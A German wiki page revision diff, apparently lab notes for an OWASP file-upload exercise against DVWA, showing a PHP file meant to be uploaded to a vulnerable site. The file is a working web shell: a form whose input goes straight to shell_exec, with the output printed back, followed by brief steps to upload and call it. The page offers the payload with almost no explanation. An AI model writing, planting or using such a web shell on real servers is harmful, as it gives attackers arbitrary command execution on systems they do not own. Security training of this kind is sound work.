OWASP File Upload Kommando Ausführung: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
 
=file.php=
 
=file.php=
 
;Dieser PHP File so später Kommandos ausführen
 
;Dieser PHP File so später Kommandos ausführen
<pre>
+
<nowwiki>
 
<form action="" method="post" enctype="application/x-www-form-urlencoded">
 
<form action="" method="post" enctype="application/x-www-form-urlencoded">
 
<table style="margin-left:auto; margin-right:auto;">
 
<table style="margin-left:auto; margin-right:auto;">
Zeile 29: Zeile 29:
 
}//end if
 
}//end if
 
?>
 
?>
</pre>
+
</nowiki>
  
 
=Upload File=
 
=Upload File=

Version vom 16. Juli 2021, 10:55 Uhr

file.php

Dieser PHP File so später Kommandos ausführen

<nowwiki> <form action="" method="post" enctype="application/x-www-form-urlencoded">

Please enter system command

 
Command <input type="text" name="pCommand" size="50">
 

<input type="submit" value="Execute Command" />

</form> <?php if (isset($_REQUEST["pCommand"])) { echo "<pre>"; echo shell_exec($_REQUEST["pCommand"]); echo "</pree>"; }//end if ?> </nowiki>

Upload File

Datei aufrufen

Kommando aufrufen

Dvwa-3.png